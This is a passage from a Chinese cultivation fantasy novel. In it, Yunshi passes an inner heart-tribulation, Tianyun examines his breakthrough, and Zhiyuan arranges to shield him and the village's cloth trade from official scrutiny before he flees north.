他凭借着这股陡然爆发的意志,硬生生顶着经脉寸断般的剧痛和内息的疯狂反噬,一点点、极其艰难地,重新挺直了脊梁,站了起来。 第二波劫难,那意图摧毁他肉身、压垮他意志的内外交攻竟未能将他彻底击垮。狂暴的内息在疯狂肆虐后,似乎也感受到了宿主那不容摧毁的意志,竟然诡异地缓和了一丝。 第三波劫力,与前两波的猛烈截然不同。它如同深秋寒夜悄然渗入骨髓的冰雾,无声无息,却带着洞彻一切的冷意,缓慢渗透进他记忆的每一个角落。 天蕴师姐清冷如雪的身影,在这种状态下,异常清晰地浮现出来。 她教他敛息,为他疗伤,留下丹药,然后因宗门要事或避免进一步牵连,而毫不犹豫地抽身离去,干脆利落。纸鸢曾满是感激地提起,天蕴如何帮她家查明酒坊被陷害的真相,不仅还了清白,更看出纸鸢在灵力的细微操控上有些天赋,不因她入后厨的不纯动机而轻视,反而重新引她踏上修行路,耐心指点其运转与屏蔽的精要。 天蕴自己呢?身为寒霁峰嫡传,霁雪仙尊的得意弟子,她却似乎对继承峰主之位并无太大热衷。她只是按自己心中那把尺在行事:见门下弟子垂死当救,见不平之事当管,见有缘后辈当引。她心思细腻,能于繁杂线索中抽丝剥茧;她行事端正,不因外界压力、宗门利益或个人好恶而轻易偏移方向。 “她好像……总能清晰地看到自己的‘道’在哪里,然后稳稳地、一步一个脚印地走过去。”云实恍惚间有所明悟。 没有太多的犹豫摇摆,没有因外界纷扰而迷失本心,只是冷静地洞察,坚定地践行。这份“定”与“明”,或许就是天蕴年纪轻轻便修为精深、气度沉凝远超同辈的根本原因。 反观自己呢?从青石镇到天衡宗,再到大自在天,如今流落白石坳,一路几乎都是被命运的大手推搡着,凭着一股不甘的韧劲和灼热的恨意,跌跌撞撞地挣扎求存。直到最近,在这偏远的村落里,为了回报收留之恩,也为了寻找一线生机,他才开始笨拙地、一点点地尝试创造些什么,才开始思考如何与人相处,才开始摸索那混沌力量的规律。他的道,模糊不清,充满不确定,更像是在黑暗中胡乱挥舞手臂,试图抓住点什么。 敬佩天蕴的同时,一股清晰的渴望也在心底升起:他也想找到那样一条属于自己的、清晰而坚实的路,而不是永远被动地随波逐流,或是被仇恨与恐惧驱使。这股渴望并不强烈,却异常清晰,像一颗投入心湖的石子,荡开了迷茫的涟漪,也带来了方向的可能性。 第三波那冰冷晦涩的劫力,在这份对榜样的观察与自身渴望的萌生面前,如同遇到了暖阳,悄然消融、化去。它没能带来痛苦,反而像一阵清冽的寒风,吹散了他心头部分迷雾,让他对前路有了更清醒的认知。 未及喘息,第四波劫力接踵而至。这一次,它既非狂暴的攻击,也非冰冷的渗透,而是一种……温厚的、近乎包容的“展现”。 无数画面,如同舒缓的溪流,平静地在他心间流淌而过: 最初,白石坳那几户仅存的村民眼中,是警惕、好奇,还有一丝对陌生伤者的怜悯。 他们大多听不懂云实那些关于纤维、引导纹路、灵力替代的艰涩解释,但他们会用最朴实的行动表达支持:腿脚利索的老人主动去更远的山坳寻找特定的植物纤维;妇人细心地将采集来的矿物石块敲碎研磨成均匀的粉末。 当那些最初粗糙不堪、时灵时不灵的麻布口袋真的能装下更多粮食、让山货保持更久新鲜时,村民们眼中迸发出的,是纯粹的、近乎狂喜的光芒。那不是对仙家手段的敬畏,而是对切实改善生活的渴望被满足后的激动。 紧接着,更大的变化发生了。这些平日里似乎只知埋头种地、艰难度日的质朴农人,在看到了切实的希望后,竟爆发出了惊人的组织力、行动力与团结精神。他们自发推举出几位有威望的老人牵头,将全村有限的人力进行有序分工:擅长农事的,精心打理那片扩大了数倍的、改良过的纳元麻田;力气大的,负责维护那个小矿点,安全开采和初步处理矿物;手巧的妇人和半大孩子,集中在那个被云实重新收拾出来的小小纺织作坊里,日夜轮班,按照云实改进后的方法,一丝不苟地织布、处理材料、尝试缝制口袋。 他们的野心不大,甚至谈不上野心。只是想靠自己的双手,让碗里的粥稠一些,让孩子的脸色红润一些,让冬天不那么难熬。正是这份纯粹而集中的愿望,催生出了惊人的产能。一匹匹厚实均匀的坳子布换回了盐、铁器、药材,以及最重要的铜钱和碎银子。 正是这些由村民们用汗水换来的钱,让云实终于买得起那些最基础的廉价手抄本,买得起草药和灵石碎片。他的恢复和缓慢前进,是建立在全村人无声的、全力的支持之上。 这些画面流过,没有带来丝毫痛苦,只有一股温热的、扎实的、如同大地般厚重可靠的力量,从心底最深处汩汩涌出,浸润了他干涸的经脉,抚慰了他疲惫的灵魂。他接纳了村民们的善意,引导了他们的力量,而他们,则回馈给他最宝贵的信任、支持,以及一个可以暂时喘息、默默积蓄的根。这不是简单的施舍与受惠,而是同舟共济的联结,是劳动与智慧互换的共生。 这力量温和却坚韧,迅速平复了他体内因前几波劫难而残余的躁动,让那枚刚刚在剧痛与觉悟中初步凝聚的、灰蒙蒙的异丹,旋转得更加稳定、圆融。 然而,天劫并未结束。当关乎纸鸢、流衍、天蕴、村民的心结被一一照亮、面对、转化或接纳后,最后一道,也是最深沉、最晦暗的一道坎,终于显现。 心镜之中,雾气涌动,勾勒出一个斜倚在华丽软榻上,长发披散,指尖把玩着一支竹笛,眼神慵懒却深不见底的身影——苏妄。 没有声音,没有具体的场景,只有那个存在本身带来的、极其复杂的感受:最初的恐惧与屈辱,随之而来的恨意与利用,得知部分真相时的震惊与茫然,以及……一种连他自己都未曾仔细分辨的、扭曲的启蒙之感。 心劫于此,没有发动猛烈的攻击,只是将关于苏妄的一切感受,如同摊开的画卷,平静地呈现在云实面前,等待他的审判与抉择。 云实的意识,在这面由心劫幻化的“镜子”前,沉默地凝视着那个身影。 是的,苏妄最初的行为是恶劣的,是强加于他的屈辱交易,是将他视为实验品的冷酷算计。这一点,无可辩驳,也无法原谅。 但是……然后呢? 是苏妄,用那个随手抛来的储物袋,第一次如此直观、如此残酷地让他看清了仙凡之别的本质——不是气度,不是寿命,而是认知与工具的维度之差。是苏妄,将他从注定碌碌无为的凡人轨迹中强行拽出,扔进了光怪陆离又危机四伏的修仙世界,哪怕手段不堪。也是苏妄,看似随意地、在那些屈辱的夜晚,透露了关于储物袋制作、关于钥匙原理、关于体系隐情的碎片信息。 甚至最后,苏妄给了他选择,放他离开,某种程度上,也算言而有信。 苏妄不是好人,绝非善类。但他也并非单纯的恶人。 恨他吗?恨。感激他吗?谈不上。但云实忽然明白,他无法、也不应该简单地用“恨”或“不恨”来定义苏妄在自己生命中的位置。苏妄是一个既定的事实,一段无法抹去的、混杂着痛苦与惊醒的过往。他带来了伤害,也带来了契机与认知。 重要的是,自己如何面对这段过往,如何利用从这段过往中获得的一切。 “我接受。”云实对着心镜中那个模糊的身影,平静地、清晰地,在心中说道,“我接受你带来的伤害,也接受你无意中抛下的那些‘碎片’。恨意我会留着,作为提醒和动力的一部分。但你……不再是我前行路上需要时刻对抗的心魔。” “我的路,从离开大自在天的那一刻,就已经是我自己的了。你只是路上的一块硌脚的石头,或许也是……一块让我看清了某些东西的、带着棱角的镜子。” 话音落下,心镜中苏妄的身影,如同被风吹散的烟雾,缓缓淡去、消散。没有释然,没有原谅。 最后一道,也是最难的心结,就此解开。 当苏妄的幻影彻底消失的刹那,笼罩在云实周身、那无形无质却沉重无比的天劫威压,如同退潮般迅速消散。夜空中的混乱异象悄然平息,疏星再现,月光清冷地洒落在他身上。 云实站在原地,并未如想象中那般瘫倒浴血,气息奄奄。他除了精神上经历了一番惊心动魄的淬炼而略显疲惫,体内气息因为剧烈的波动而有些翻腾之外,竟是毫发无伤!不,并非无伤,而是那些旧日的隐痛、内心的滞碍、关系的迷茫、对过去的纠缠,在这场奇特的、针对内心的序乱劫之问心与梳理之下,被一一照亮、面对、接纳或转化。 体内那原本脆弱的、建立在废墟上的力量平衡,不仅未被打破,反而因为心境的澄澈、目标的明确、与外界联结的稳固,以及对过往的坦然接纳,变得更加浑然一体、稳固坚实。丹田深处,那枚灰蒙蒙的异丹彻底凝实。 他缓缓地、深深地吐出一口浊气,他眼中残留的疲惫迅速褪去,取而代之的是一种历经千帆、淬火重生后的沉静与坚定,还有一种脚踏实地的踏实感。 第二天。屋外传来熟悉的脚步声和低语,是纸鸢在和谁说话。紧接着,门被轻轻推开,纸鸢端着一碗热气腾腾的粟米粥进来,身后跟着一道清冷的身影——竟是去而复返的天蕴。 天蕴踏入屋内,目光第一时间就锁定了盘坐在床榻上的云实。那双清澈锐利的眸子上下扫视,从云实平静的脸色,到完好无损的周身,再到那虽然竭力收敛、却因刚刚突破而自然外溢的、稳固的锚定期气息。 她的眉头蹙了一下。 “师姐?”云实有些意外,连忙想要起身行礼。 “坐着。”天蕴出声制止,声音带着探究,“你……突破了?” “是。”云实点头,心中也有些忐忑。他这突破来得古怪,过程更是与常理迥异。 纸鸢将粥碗放在一旁的小木桌上,忍不住插话,语气里满是后怕和一点点羡慕:“天蕴姐,你感觉到了?昨晚真是吓死我了!云实突然就……外面天象乱得很,他又站在那里一动不动,脸色变来变去,我还以为……幸好后来没事,还突破了!”她拍了拍胸口,又补充道,“不过云实哥你这渡劫也太……轻松了吧?跟我那次完全不一样!” 她看向云实,带着点委屈和心有余悸:“我记得我锚定期天劫的时候,差点被一道‘明暗劫’的余波给劈散了魂!虽然准备了些符箓,还是躺了半个月才能下床。” 云实闻言,更加困惑了。他看向天蕴:“纸鸢说……被劈?我……昨晚确实感觉有几次……体内灵力冲撞得厉害,经脉也很痛,心神更是像被撕扯……但从天而降的那种……” 他仔细回忆,确定除了内心经历了一场惊涛骇浪,体外并没有遭受任何直接的、带有物理毁灭性质的天雷或罡风袭击。 天蕴沉默了片刻,似乎在消化这个信息。她走到云实近前,也不避讳,伸出两指虚按在云实腕脉之上,一缕精纯平和的灵力探入,仔细感应。 片刻后,她收回手,眼中讶色更浓,但也多了一丝深思。 “你的情况……很特殊。”天蕴缓缓开口,组织着语言,“从结果看,你确实稳固踏入了锚定期,灵力性质发生了蜕变,丹田凝结……那东西,也还算稳定。”她顿了顿,似乎在斟酌用词,“但过程,与你描述的,以及纸鸢经历的,甚至与典籍记载的大部分‘序乱劫’、‘心魔劫’都不同。” 她看向云实,目光锐利:“你说没有外劫临身,只有内劫?心神撕扯,灵力反冲?” “是。”云实肯定地点头,“最难受的时候,感觉身体要从里面裂开,脑子里像是有无数人在吵架,很多……以前的事,好的坏的,都翻上来。” 他省略了具体细节,但大致描述了感受。 天蕴微微颔首,清冷的脸上露出一丝罕见的、类似于教师讲解难题时的神色:“通常而言,天劫是内外交攻。外劫,或为雷霆烈火,或为罡风冰霜,或为幻象迷阵,旨在淬炼肉身、考验应变、乃至直接毁灭渡劫者脆弱的躯壳,彰显天道之威不可测、不可违。内劫,多为心魔,勾动七情六欲、往日执念、道心破绽,从内部瓦解意志,引发灵力自戕。二者往往相辅相成,外劫摧体,内劫毁神,度过者无不伤痕累累,需长时间调养。” 她话锋一转:“但你此次,似乎……外劫不显,或极其微弱,几乎全部转化为内劫,且是高度针对你个人心境、过往因果的‘问心’之劫。”她看着云实,“纸鸢说你看起来‘轻松’,实则是凶险内蕴。这种劫难,不伤体肤,专攻心神根本与力量根源。一旦支撑不住,便是神魂溃散或灵力彻底暴走、自爆而亡的下场,比之外劫加身更为凶险,且几乎无法借助外物抵御,全凭自身意志与对‘道’的领悟硬抗。” 纸鸢听得小脸发白,后怕地抓住云实衣袖一角。 “所以,”天蕴总结道,语气带着一丝复杂,“挨劈对于大部分修士而言,确是常态。因为外劫的物理毁灭力是直观的、需要受着、需要去‘抵御’的考验。但对于你这种特殊情况……” 她停顿了一下。 “如此强度的内劫渡过之后,心神损耗必然极大,灵力也需时间平复。而你……”她再次仔细感知了一下云实的状态,才又继续说了下去,“气息平稳,神魂凝实,甚至旧伤都有好转迹象。这不合常理。除非……” 她欲言又止,似乎在思考某种可能性,又像是在顾忌什么。 “除非什么?”云实追问。 天蕴摇了摇头,没有继续说下去,只是道:“或许与你体内那特殊的力量本源有关,也与你在此地的……‘作为’有关。”她的目光扫过这间简陋却干净的土屋,仿佛能透过墙壁看到外面已然开始忙碌、充满生机的白石坳。 “具体缘由,我亦无法断言。但你需谨记,此次渡劫方式特殊,结果也特殊,未必是常态。日后若再遇天劫,不可因此次经历而掉以轻心,该做的准备仍需做。” 云实郑重点头:“我明白,师姐。” 天蕴不再多言,似乎此行的主要目的就是确认云实的状况。她又交代了纸鸢几句关于继续帮云实稳固境界、小心行事的叮嘱,便再次告辞离去,身影很快消失在村落外的山道上,仿佛从未出现过。 屋内,云实和纸鸢相对沉默。 纸鸢拍了拍胸口,小声说:“天蕴姐说得对,你这次真的太奇怪了……不过,没事就好!还突破了!”她又高兴起来,催促道,“快把粥喝了,你刚突破,更得好好补补!” 云实端起那碗温热的粟米粥,慢慢地喝着。粥很香,带着谷物朴实的甜味。他心中却反复回味着天蕴的话。 “不合常理”……“与在此地的‘作为’有关”…… 他看向窗外,隐约能听到作坊里织机有节奏的咔哒声,村民互相招呼的质朴乡音,还有孩子们奔跑嬉笑的声音。 13. 【十一】 接下来的日子,一种无形的压力开始悄然渗透这个刚刚恢复些许生机的偏远村落。 起初是往返于玄戈城与白石坳之间、负责售卖坳子布和山货的村民归来后,脸上总带着几分困惑与不安。他们向云实和纸鸢描述集市上的异样:往常只关心价格与斤两的顾客里,混进了许多生面孔。这些人对布料的兴趣异乎寻常,不仅反复摩挲布匹的质地,还将布料对着日光仔细查看经纬线的织法,甚至掏出小剪子,偷偷铰下布边一角收起来。他们问的问题也刁钻:“这布产自何处?织工是本地人吗?用的是何处的麻?染料配方可有特别?”言语间透着一种审视与探究,绝不像寻常买主。 村里的后生在玄戈城码头扛活,某日傍晚气喘吁吁地跑回来,脸上带着紧张,压低声音告诉云实和纸鸢:“不好了,云实哥,纸鸢姐!我在码头听‘锦云轩’的伙计跟人唠嗑,说近来市面上出了种叫‘坳子布’的便宜货,结实得邪乎,抢了他们不少低档粗布的生意。‘万货行’的管事也在抱怨,说这布来路不明,价钱压得太低,坏了行市规矩。他们东家好像已经派人去‘市易司’递话了!” “市易司”是镇北侯府下辖管理市场交易、征收商税的机构,虽是小衙门,却代表着官方的触角。 风声一日紧过一日。终于,在云实成功渡劫后的第五天清晨,两个身腰间佩着制式短刀、骑乘着明显优于普通驿马的健硕青骢的人,出现在了白石坳唯一那条崎岖土路的尽头。 他们的目光在那间纺织作坊处停留了格外长的时间,又掠过村中几处新修缮的屋顶和明显扩大了规模的菜畦麻田。一个人甚至扬了扬下巴,向正在村口老槐树下玩耍的几个孩童问了句什么,孩童们怯生生地摇头,一溜烟跑回了家。两人对视一眼,并未多留,调转马头,马蹄声嘚嘚,溅起尘土,很快消失在山路拐角。 那靛蓝色服饰,是镇北侯府最低级属员的标配。他们的出现,如同冰冷的铁锥,彻底凿穿了那层自欺欺人的侥幸。 土屋内,气氛凝重得几乎能滴出水来。粗陶碗里粟米粥的热气早已散尽,凝出一层薄薄的膜。云实坐在床沿,眉心拧成了一个疙瘩。窗外,隐约传来村民刻意压低的交谈声,带着忧虑和惶惑。他知道,自己不能再像鸵鸟一样把头埋进沙子里了。白石坳的变化,明显冲击了原有低端布料市场格局。继续躲在幕后,享受村民们用汗水换来的安宁与资源,无异于将所有人架在火上烤。一旦追查深入,他随时可能暴露。届时,降临在这个平静村落的,将不再是属员探查的目光,而是修士的灵光与兵丁的刀锋。 “必须……做点什么。”云实的声音干涩,“要么彻底斩断联系,我带着东西走;要么……想办法转移视线,把村里的干系撇清。” “其实,”一直安静站在窗边的纸鸢忽然转过身,她的声音没有往日的轻快,却透着一种异样的冷静,像是淬过火的细刃,“还有第三条路。” 云实抬头看向她。晨光从她身后透入,勾勒出少女纤细却挺直的轮廓,脸上没有慌乱,只有沉静的思索。 “我们可以把坳子布还有麻袋的生意,”纸鸢走近几步,目光清澈地直视云实,“跟我家的‘纸云坊’牵上线。” “纸云坊?”云实一怔,下意识摇头,“不行!纸鸢,我知道你是为我好,想帮我分担。但你家突然特殊物件,太惹眼了。而且这水太浑,万一引火烧身,连累了你家业,我……” “云实,”纸鸢打断他,语气里带着一种云实从未听过的、近乎锋利的笃定,“你是不是觉得,‘纸云坊’就是我爹娘守着几口酒缸、酿些土酒、我偶尔回去帮衬一下的小作坊?而我,就是个有点厨艺天赋、想学点仙家本事回去给家里添道菜的小姑娘?” 云实被问得哑口无言。在他的认知里,青石镇乃至他所知的世俗常情便是如此。像他家的“云锦记”,父母苦心经营,最终也是盼着弟弟云岭读书出头或接手,妹妹云舒再能干,谈及未来,父母私下里念叨的也是寻个可靠人家,从未想过女子能真正执掌门户,在外抛头露面、决策营商。纸鸢离家入天衡宗,在他想来,也不过是寻常人家女儿想学点非凡技艺,为将来婚事添些筹码,或者帮衬娘家一二。 纸鸢看着他脸上的神色,轻轻扯了扯嘴角,那笑容里没有责怪,却有种深切的、难以言喻的复杂情绪。 “很多人都是这么想的,云实哥。包括我以前家里那些叔伯、堂兄,甚至……我娘一开始也这么觉得。女人嘛,识几个字、会算点账、管好内宅、相夫教子就是本分。想要染指外务、执掌家业?那是牝鸡司晨,是祸家的开端,是……累赘。” 她顿了顿,眼神投向虚空某处,仿佛穿透土屋的墙壁,看到了遥远的、充满压抑的过往。“你知道,当初我家酒坊出事,差点吃出人命、招牌砸得粉碎,天蕴姐路过,看在我的面子上出手帮忙查案,最后揪出来的幕后黑手是谁吗?” 云实心中隐隐有了不祥的预感。 纸鸢的声音很平静,平静得近乎冷酷:“是我爹。” “为了吞掉另一家竞争酒坊许诺的一点干股和所谓‘秘方’,听信外人的挑唆,在自己家祖传的酒里动手脚,想制造意外压垮对手,结果玩脱了手,差点把自家百年招牌和全家老小都送进大牢。”纸鸢的叙述没有太多情绪起伏,像是在说一件与己无关的旧闻,“我要报官,清理门户。家里炸了锅。我娘哭着说家丑不可外扬,女人不能状告亲父;几个叔伯拍着桌子骂我忤逆不孝,妄想侵夺家产;堂兄弟们更是阴阳怪气,说女子就该安分守己,少掺和外面的事。他们堵着祠堂的门,吵吵嚷嚷,唾沫星子几乎要溅到我脸上。” 云实能想象那画面,一个势单力孤的少女,面对一群被所谓“纲常伦理”和自身利益武装起来的男性亲族的围攻,是何等绝望与窒息。 “然后呢?”他忍不住问,声音有些发紧。 “然后?”纸鸢眼中闪过一丝极冷的光,那光芒云实有些熟悉——像极了天蕴偶尔被触及底线时的眼神,“然后天蕴姐就进来了。她没说话,只是看了我一眼,然后……” 纸鸢停顿了一下,似乎是在回忆,又像是在让云实消化这个信息:“她就把堵在门口、叫嚷得最凶的那几个人,包括我那两个平日里跋扈惯了的堂兄,全放倒了。没用仙法,就是最简单的拳脚。动作快得我看不清,只听得到拳头砸在肉上的闷响,和骨头错位的咔嚓声。没要命,但足够疼,足够他们躺在那里半天爬不起来,也足够……丢尽他们自诩为一家之主、顶梁柱的脸面。” 云实脑海中浮现出那颠覆性的场景:看似不染凡尘的天蕴师姐,在凡俗家族充满烟火气和陈腐气的祠堂里,用最直接粗暴的方式,为纸鸢劈开了一条血路。这画面冲击力太强,让他一时失语。 “他们觉得被女人打了,哪怕打人的是仙师,也是奇耻大辱,憋得脸红脖子粗,又没胆子真去衙门告一位有道真修的状。”纸鸢的嘴角勾起一抹微带寒意的弧度,“天蕴姐事后没多留,只教了我几手实用的调息法门和防身技巧,让我自己看着办。等我勉强能引气入体,身上有了点力气和底气,再回去时……很多事情就好办多了。道理讲一遍不听,就讲两遍;两遍不听,就用他们能听懂的方式‘讲’。几次三番之后,家里就‘清净’了,也‘讲道理’多了。” “后来,是我力排众议,决定缩减本就因父亲作孽而摇摇欲坠的酿酒规模。用家里所剩不多的积蓄,加上天蕴姐姐借我的一笔本钱,开始尝试着做南北杂货的转运,利用以前酒坊积累的一点人脉,倒腾些地方特产。”纸鸢的语气重新变得平稳务实,“一点一点,把差点彻底垮掉的家业重新撑起来,并且路子越走越宽,做得比以前单纯酿酒时更好。现在我爹娘?他们主要负责按照我定下的章程,管好剩下的那几个老师傅和镇上的两间铺面。家里大小事务,进货出货的渠道,银钱往来的账目,真正拿主意、定方向的,是我。” 她看着云实,目光坦然,仿佛在陈述一个再自然不过的事实。 “所以,云实,把我家的商路和门面借来运作坳子布和麻袋,并非一时冲动。我有经验,有渠道,也有应对市面上各种盘查和刁难的办法。如果……如果有人非要深究这布匹和袋子的特殊之处,技术来源,我可以出面顶下来。就说是我在外行走时,偶得残卷,自己瞎琢磨出来的。我跟在你旁边看了这么久,关键的几个步骤和原理都清楚,做出些形似的东西不难,不算完全说谎。你现在被通缉,最需要的是时间和一个不引人注目的藏身之所。你先从这里脱身,找个更稳妥的地方避过这阵风头。等我把这边的生意局面稳住,把可能的关注引开,或者你有了新的打算,我们再联系。” 她的计划条理清晰,甚至考虑到了顶罪的风险和后续的衔接。 云实心中翻腾着惊涛骇浪。他从未想过,纸鸢早已在另一条布满荆棘的路上,独自劈砍出了属于自己的天地,磨砺出了足以掌控一方家业、周旋于市井乃至官面的手腕与心志。她不再是他潜意识里需要去回护、去担忧的弱质少女,而是一个能够与他并肩、甚至在某些方面走在他前面的、真正有力的同盟者。 震惊过后,是更深沉的动容与迟疑。 “纸鸢……我……”他喉咙发紧,“这份情太重了。你把自家基业推到前面挡风险,万一,万一这背后牵扯的东西,不止是布料生意,不止是镇北侯府的关注,而是……更上面,或者修行界的……” “那就兵来将挡,水来土掩。”纸鸢的语气斩钉截铁,带着一股豁出去的狠劲,“总不能眼睁睁看着你刚在这里找到点踏实感,有点起色,就又被逼得亡命天涯,甚至可能连累这个好不容易有点盼头的村子。云实,我们认识的时间不算长,但一起吃过苦,受过排挤,也算是共过患难。朋友是做什么的?不就是在对方掉进坑里、爬不上来的时候,伸手拉一把吗?” 她深吸一口气,缓和了语气,眼神变得更加坚定而务实:“况且,这未必全是风险。坳子布质量上乘,价格却有优势,如果运作得当,对我家拓宽货品行当、站稳脚跟,也是一个新的机会和财路。我会小心把控分寸,尽量低调处理,不引起过大波澜。就算真有不开眼的找上门来,只要不直接和你、和天衡宗的缉令挂钩,我自有办法和他们周旋。我家现在做的南北货生意,三教九流打交道多了,没那么脆弱。” 土屋内再次陷入沉默,只有两人略显急促的呼吸声。 良久,云实终于缓缓地、极其沉重地点了一下头,仿佛用尽了全身力气。 “好……纸鸢,就按你说的办。”他的声音沙哑得厉害,“但你要答应我三件事。” “你说。”纸鸢眼神一亮,立刻应道。 “第一,”云实竖起一根手指,语气严肃,“一旦你感觉到任何不对劲,超出了你家能应对的范围,或者有修士直接介入,立刻、毫不犹豫地切断所有与白石坳、与这些布匹麻袋的关联,保全你自己和你家产业为上。不要有丝毫犹豫!” “第二,”他竖起第二根手指,“白石坳这边,要安排好平稳过渡。不能突然断掉村民的生计,也不能留下明显把柄。‘坳子布’的外销要逐步减少直至停止,麻袋暂时只供村内使用。作坊……可以转为给你家供货的‘代工点’,由你家统一收购原料、支付工钱、负责外销,把生产和销售彻底分离。账目要清楚,但痕迹要尽量抹去。” “第三,”他看着纸鸢的眼睛,一字一句道,“帮我准备一些东西。不需要多珍贵,但要齐全:北地更详细的地图、易容改装的物品、足够支撑我独自隐匿一段时间的干粮和清水、还有……一些关于北地遗迹、险地、以及可能存在的、不受三大宗门和朝廷完全控制的‘缝隙’之地的情报,越零散、越不起眼越好。” 纸鸢仔细听着,神情郑重,将他说的每一点都记在心里。 “我明白。前两件我会立刻着手安排,村里几位主事的老人信得过,我会和他们商量。第三件,给我三天时间,我去玄戈城和附近集镇想办法凑齐。” 计划就在这简陋的土屋里,在这迫在眉睫的危机下,迅速而清晰地敲定下来。 云实走到窗边,推开那扇吱呀作响的木窗。远处,玄戈城方向的天际,不知何时聚拢了一片铅灰色的阴云,沉甸甸地压在山峦轮廓之上,仿佛预示着一场即将到来的风雨。 纸鸢的行动没有半分拖沓。她先去了织坊,找到里面手艺最稳、嘴巴也最紧的两位村妇,不是吩咐,而是拉着她们的手,坐在尚未熄火的织机旁,低声却清晰地说:“阿婶,外面来的人,是冲着这布,可能也是冲着我云实哥来的。他们问起,就说这作坊是我‘纸云坊’投的钱,雇的大家,我是东家派来的管事。布的织法,是东家从南边带来的,和村里、和云实哥都没关系。能记住吗?” 两位村妇看着她眼中不容置疑的凝重,又想起家中近来多出的粮肉和娃儿的新鞋,重重点头:“纸鸢姑娘放心,我们晓得轻重。外人问,就按你说的讲。” 说完这些,纸鸢走到院中僻静角落,从怀中取出那枚质地温润、刻着模糊云纹的玉扣,指尖拂过表面,注入一丝平稳的灵力。 玉扣内部细微的阵法被激活,发出极其微弱的、只有她能感知的温热。她将玉扣贴近唇边,声音压得极低,却清晰: “姐,是我,纸鸢。白石坳这边出事了,镇北侯府的人已经来探过,怕是盯上了坳子布和那些袋子。云实哥不能再留。” 她顿了顿,语速加快,条理分明:“我打算明早就动身回玄戈城,把这两样生意明面上全部接进纸云坊的货单里。来源就说是咱家早年藏的南边手艺,我弄出来的。得把水搅浑,把视线从云实哥和这村子身上引开。他得立刻走,东西我已备好。” 玉扣微微震动了一下,传来天蕴清冷的声音,直接在她耳畔响起,带着一丝不易察觉的凝肃:“侯府的人看清了?修为如何?” “像是外围探事的,没显露修为,但马和佩刀制式不一般。”纸鸢低声回答,“我担心他们只是前哨,后续可能会有更麻烦的人来,甚至……惊动修士。” 天蕴那边沉默了片刻,只能听到极轻微的呼吸声,似在权衡。 “你的计划可行,但风险自担。”她的声音依旧平稳,“纸云坊能接住这份关注?你家中可能服气?” 纸鸢嘴角抿了抿,眼中闪过果决:“家里如今是我说了算。不服的,打服就是。生意上的盘查刁难,我有门路应付。天蕴姐,我只求你一事——若我得信后离开,而云实哥途中……或之后遇到难以逾越的关卡,你能不能再……看顾一次?不用直接插手,只需在他山穷水尽时,给一丝若有若无的生机提示就好。” 这一次,天蕴的回复来得快了些,语气听不出喜怒:“我只保他不立刻死于非命。他的路,终究要他自己走。” “够了,这就够了。”纸鸢松了口气,紧绷的肩膀微微垂下,“我会留下信标。若你近来得空路过北地,或许能感应到。我这边安排妥了就联系你。” “小心。”天蕴最后只说了两个字,玉扣的光芒便黯淡下去,恢复了冰冷。 她将玉扣仔细收好,转身回屋,开始为云实准备行装,眼神已是一片沉静决然。该传递的消息已传递,该求的援手已求得,剩下的,便是她纸鸢要独自在明面上撑起的局面了。 纸鸢把几样东西放在桌上,推过去。一块用油纸包好的杂面饼,一袋肉干,一个水囊。还有那枚温润的玉扣。 “我的干粮,分你一半。”她说,声音在寂静的土屋里很清晰,“玉扣你带着。如果……我是说如果,你觉得快撑不下去了,又模糊感到天蕴姐可能在百里内,就按三长两短的节奏,向里面送一丝灵力。她和我都能察觉到。” 她又拿出一小块鞣制过的软皮,上面用炭笔画着歪歪扭扭的线条。 “东南方向。主要山脊,大河岔口。这里有一个我家早就废弃的旧货栈。钥匙在东边数第三根柱子底下的砖缝里。”她抬起眼,目光直接,“以三个月为期。如果我到了,会在门后不起眼的地方刻一个标记。如果没到……” 她顿了一下,声音依旧平稳,却字字砸在地上:“……或者你听到任何关于‘纸云坊’被查、我被抓的消息,就别等了。立刻走,走得越远越好。” 云实看着桌上的东西,没立刻去拿。他的目光落在纸鸢脸上,油灯的光把她眼底的坚定照得一清二楚。 “你把生意明面接过去,”他开口,声音有些干,“等于把自己和‘纸云坊’放在所有眼睛底下。” “啧,不然呢?”纸鸢反问,语气里没有犹豫,只有清晰的利弊权衡,“让你继续留在这里,等他们顺着坳子布摸上来,把你和这村子一起端了?”她身体微微前倾,烛光在她眼中跳动,“云实,我们不是在天衡宗后厨的时候了。你擅长在死局里找生路,在刀尖上站稳。我擅长在活人的规矩和人心里头周旋,把麻烦变成生意。我们各自去做自己最该做、也最能做好的事,就是最好的帮忙。你藏好,活下去,搞清楚你身上这些‘麻烦’到底是怎么回事。” 云实胸腔里翻涌着复杂的情绪,最后重重吐出两个字:“当心。” “你也是。”纸鸢站起身,走到门边,手搭在粗糙的木门闩上。她停了一瞬,没有回头,“活下来。变强。然后,去做你该做的事。” 门开了,浓重的夜色涌进来,瞬间吞没了她的身影。门轻轻合拢,将最后一点微弱的光和声息都关在了外面。 云实在黑暗里坐了一会儿,然后开始动作。纸鸢留下的干粮和水囊被他妥善收好,玉扣贴身放置。他拿起那块软皮地图,就着窗外透进的、极其微弱的星光,将上面的线条和标记记在脑子里,然后将其折好收起。 最后,他走到墙角,拎起那把斧子。木柄被他这些日子握得发亮,残留着汗水和体温。他握紧斧柄,心神沉入丹田。 愧疚像冰冷的潮水,从脚底漫上来,淹过胸口,堵住喉咙。他用力吸了口气,空气里满是尘土和陈旧织物的味道。 …… 云实站在白石坳外最后一道土坡上,没回头,心里却像这北地的冻土,被无数念头反复犁过。 两条路。一条通往帝国中央,皇城脚下,听说是凡人堆里滚着神仙刺,热闹得能淹死人,也乱得能藏下鬼。另一条路指向两仪相生殿,名头响亮,讲究个阴阳调和,听起来像是能讲道理的地方。 道理?云实扯了扯嘴角,有点涩。霁雪仙尊讲的难道是歪理?苏妄把内丹塞进他身体时,问过他愿不愿听道理?这世道的“道理”,往往就是谁的拳头硬,谁的嗓门大,或者谁占着那个“正统”的名分。两仪相生殿再好,能好过天衡宗当初给他记名弟子身份时的“恩典”么?不过是换一个笼子,或许更精致些,但栏杆依然是栏杆。他体内这枚来自苏妄的“异丹”,他这诡异的灵根,到了那里,是会成为研究的对象,还是需要被校正的错误?他不敢赌。 中央不同。那里是漩涡,也是泥潭。但泥潭里,王八和泥鳅都能活,各有各的活法。人多,眼杂,规矩也多,可规矩多了,缝隙也就多了。更重要的是,苏妄那些惊世骇俗的话,这些离经叛道的种子,或许只有在远离宗门清规、充满世俗欲望和混沌信息的地方,才有一丝发芽的可能。他想知道真相,哪怕只是掀开一角。 